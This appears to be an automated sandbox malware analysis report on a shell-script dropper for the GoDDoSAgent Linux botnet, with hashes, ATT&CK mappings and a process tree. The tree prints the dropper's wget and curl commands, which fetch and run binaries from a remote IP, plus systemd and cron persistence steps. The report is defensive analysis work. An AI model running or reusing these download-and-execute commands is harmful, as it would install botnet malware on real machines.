Analysis
- max time kernel
150s - max time network
149s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
14/10/2026, 18:28
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20260513-en
General
- Target bins.sh
- Size 2KB
- Sample261014-w4emrag161
- SHA256 fb6d7ad4169107a4d2181b4a81fc528d29a3e221665f5301823705a5e8781167
- MD5 91074cd8c027be18c63dd1d8662aac2a
- SHA1 56460e107cda83bca9ac6da74f40e2168243e8e8
- SHA512 3d300ca932b27863f3c64b02ebb5c0eec65fc26b444137e3ca43b68d3824215038508e34215bb4fdd2ed34f568de6aafed999f3f61b1c85072d0a6078319025b
- TLSH T1D641A29B236080B3C846DD51FF5418E4D49EE6E3B963DBFCACAC98A3006915CF1A2E50
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- Family: GoDDoSAgent
GoDDoSAgent is a Linux botnet written in GoLang.
- Detects GoDDoSAgent 3 IoCs
resource yara_rule behavioral2/files/fstream-1.dat family_goddosagent behavioral2/files/fstream-5.dat family_goddosagent behavioral2/files/fstream-7.dat family_goddosagent - File and Directory Permissions Modification 1 TTPs 7 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 671 chmod 676 chmod 710 chmod 732 chmod 745 chmod 772 chmod 777 chmod - Executes dropped EXE 7 IoCs
ioc pid Process /tmp/x86 672 bins.sh /tmp/x86 677 bins.sh /tmp/i386 711 bins.sh /tmp/i386 733 bins.sh /tmp/amd64 747 bins.sh /tmp/amd64 773 bins.sh /tmp/arm 778 bins.sh - Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.9qC4nf crontab - Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
description ioc Process File opened for modification /etc/systemd/system/sysd.service arm - Write file to user bin folder 2 IoCs
description ioc Process File opened for modification /usr/bin/test_write arm File opened for modification /usr/bin/sysd arm - Checks CPU configuration 1 TTPs 3 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl - Enumerates kernel/hardware configuration 1 TTPs 4 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/kernel/mm/transparent_hugepage/hpage_pmd_size arm File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl -
description ioc Process File opened for reading /proc/cmdline systemctl File opened for reading /proc/self/stat systemctl File opened for reading /proc/1/environ systemctl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/cmdline systemctl File opened for reading /proc/filesystems systemctl File opened for reading /proc/filesystems systemctl File opened for reading /proc/cmdline systemctl File opened for reading /proc/filesystems crontab File opened for reading /proc/stat arm File opened for reading /proc/self/auxv curl File opened for reading /proc/1/environ systemctl File opened for reading /proc/self/stat systemctl File opened for reading /proc/filesystems crontab File opened for reading /proc/meminfo arm File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/filesystems systemctl File opened for reading /proc/self/stat systemctl File opened for reading /proc/1/environ systemctl - Writes file to tmp directory 8 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/i386 wget File opened for modification /tmp/i386 curl File opened for modification /tmp/amd64 wget File opened for modification /tmp/amd64 curl File opened for modification /tmp/arm wget File opened for modification /tmp/cron_tmp arm File opened for modification /tmp/x86 wget File opened for modification /tmp/x86 curl
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
PID:644 -
/usr/bin/wgetwget http://5.83.136.39:5001/x86 -O x862⤵
- Writes file to tmp directory
PID:645
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/bin/chmodchmod +x x862⤵
- File and Directory Permissions Modification
PID:671
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/tmp/x86./x862⤵PID:672
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/bin/rmrm -f x862⤵PID:674
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/usr/bin/curlcurl -O http://5.83.136.39:5001/x862⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:675
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/bin/chmodchmod +x x862⤵
- File and Directory Permissions Modification
PID:676
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/tmp/x86./x862⤵PID:677
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/bin/rmrm -f x862⤵PID:679
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/usr/bin/wgetwget http://5.83.136.39:5001/i386 -O i3862⤵
- Writes file to tmp directory
PID:681
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/bin/chmodchmod +x i3862⤵
- File and Directory Permissions Modification
PID:710
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/tmp/i386./i3862⤵PID:711
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/bin/rmrm -f i3862⤵PID:716
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/usr/bin/curlcurl -O http://5.83.136.39:5001/i3862⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:718
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/bin/chmodchmod +x i3862⤵
- File and Directory Permissions Modification
PID:732
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/tmp/i386./i3862⤵PID:733
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/bin/rmrm -f i3862⤵PID:735
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/usr/bin/wgetwget http://5.83.136.39:5001/amd64 -O amd642⤵
- Writes file to tmp directory
PID:736
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/bin/chmodchmod +x amd642⤵
- File and Directory Permissions Modification
PID:745
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/tmp/amd64./amd642⤵PID:747
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/bin/rmrm -f amd642⤵PID:750
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/usr/bin/curlcurl -O http://5.83.136.39:5001/amd642⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:751
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/bin/chmodchmod +x amd642⤵
- File and Directory Permissions Modification
PID:772
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/tmp/amd64./amd642⤵PID:773
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/bin/rmrm -f amd642⤵PID:775
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/usr/bin/wgetwget http://5.83.136.39:5001/arm -O arm2⤵
- Writes file to tmp directory
PID:776
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/bin/chmodchmod +x arm2⤵
- File and Directory Permissions Modification
PID:777
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/tmp/arm./arm2⤵
- Modifies systemd
- Write file to user bin folder
- Enumerates kernel/hardware configuration
- Reads runtime system information
- Writes file to tmp directory
PID:778 -
/bin/systemctlsystemctl daemon-reload3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:782
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/bin/systemctlsystemctl enable sysd3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:795
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/bin/systemctlsystemctl start sysd3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:808
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/usr/bin/crontabcrontab -l3⤵
- Reads runtime system information
PID:810
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/usr/bin/crontabcrontab /tmp/cron_tmp3⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:813
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Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /etc/systemd/system/sysd.service
- Size 175B
- SHA256 cfad0df157c997fe75b54580ef544beb90f6275851878e1cf3b9a7749e3fab40
- MD5 8323ab0ba9ec116e3b66efde6ff75664
- SHA1 33960d0a27791cd23fc159c203a7f98d43b233e0
- SHA512 e747fdd6381d96958e16a3439e8bd4e3edfe8c117176f5578dc7cd71f971a9e4859585bb6c9c56104e108b6867eaea1b681403586db6e6102cabe66b3b508379
- TLSH T110C0C023762060F0DD4E2C724FA377804E1101440F8DF0304FC1210540D46478038CAD
- MD5 SHA1 SHA512 TLSH
- Path /tmp/amd64
- Size 4.8MB
- SHA256 af22e18ac7f1dcd06e7e6d3c3f4ebf1d8add848f8e172e96d226a65431004806
- MD5 ecf25b5c369e997aa1a694a9acaa1ad7
- SHA1 79f4bca9cb8a661d0b87b1f7f22e29bdbe103182
- SHA512 89b015f8f75e6438c23b3850b430421fac59dc6eab69cd16479c8afbea34132c5d506526bbfbca619d621ecb31c149ffb6a8a57ec3587bb432e97337586c25d3
- SSDEEP 49152:ccQFvxTh6Kay9ZdZP5eVjg8pt+VkG+WIWn4CU5LF5Ekt5KUS74nL4O79+umDPQRT:JS6Kthf8pbd1EAyQoC
- TLSH T1BE363957EC9555A9C0EED2308A629252BA717C485F3523D33F60F7382F76BD0AAB9340
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/arm
- Size 4.7MB
- SHA256 252156d9c2b892e176aab43351277cc7ebaf07f6d3e97d5ce50011c760139bb4
- MD5 9a96751cf030dda70da073467f20ca55
- SHA1 2066b909c67d07a1177f848a5a034e0b53e81844
- SHA512 5057ea729d28ef21abc43723c7c21ae6be3eeeffcd3116f344ec2d3e872f7b063fb4713c9fae0d201aeb8fa76358b4bba8c6dfb094c311f6a6452ae84929b0e9
- SSDEEP 24576:ktVxPlzIACoJiMQf+uF1mbeRjHSwIyFK45ttIyq+snbd7iBFuLIXD2LvFOqxBwEw:mE7TChqX5wd1AGVhS6eOsF
- TLSH T1A4360997B8914A43C4E43676BCBD81C833A34EB99B9753666D04FE3C3ABE1990E35314
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/cron_tmp
- Size 41B
- SHA256 3a13b88885017f3318032aef9d0b829caf810c14f7dfa8440848b458499d0edf
- MD5 5d2863a8c3d98587606d4b4fea75ae2c
- SHA1 a62d1eb1b286feace3774c8c16a7b14904ccb787
- SHA512 e84f3d04cca77b5004637b8d6bea9dc0a307a87e67882d82e2dcc62f5012df99aea96ee6d1135b47a7a98116c0649f14d29d58b4cf9eaa5e658e2965593d33d1
- MD5 SHA1 SHA512
- Path /tmp/x86
- Size 4.7MB
- SHA256 f2b142128ec6ea6b017ec15cace0f6f1a4428a7ac9c93899cda06a0201f29df1
- MD5 13b1153a5ebab113bc4c12b7158bbc08
- SHA1 ff049fca23cba634a2e8925de54a8fb406635e37
- SHA512 0e7707967b11031857ccae2f0a9d010fbd2f05dff5f355515fdeda9d31d784751edf532cef6e62a4ebfb2f4c4d5c7185383a9797aa3761e7111a8ea2aefbb2ff
- SSDEEP 49152:0uqVbCx/rSvvbzN2DdYu5SdUp2xq9mZzYFqiYFMdk8JHD:rqVhvvuyq1Yq
- TLSH T1E2361850FECB45F6E903193144AFA22F57315D098B24EBC7EA507F2AF97B692193620C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /var/spool/cron/crontabs/tmp.9qC4nf
- Size 228B
- SHA256 90583d95b9a4f77cadd57eb04527900662424cb97fc0b4cae84be372ff3bfeac
- MD5 e35623ea45619e83ed7159d02e88b59d
- SHA1 dfcb5e0c4ada71436178d522398de60d25a100a7
- SHA512 f9c004be6477ac58d05ff3a0e49591ffefb2f2a627ea73bc16552901534a59e0857dd39c26bd8351b4428dabb5d764e7dcc301db2a540d16b9f53b4a06113357
- TLSH T115D0233C3F20AC305E000744004B162D4982607D800CBF10F2CCF018021E32F2700E33
- MD5 SHA1 SHA512 TLSH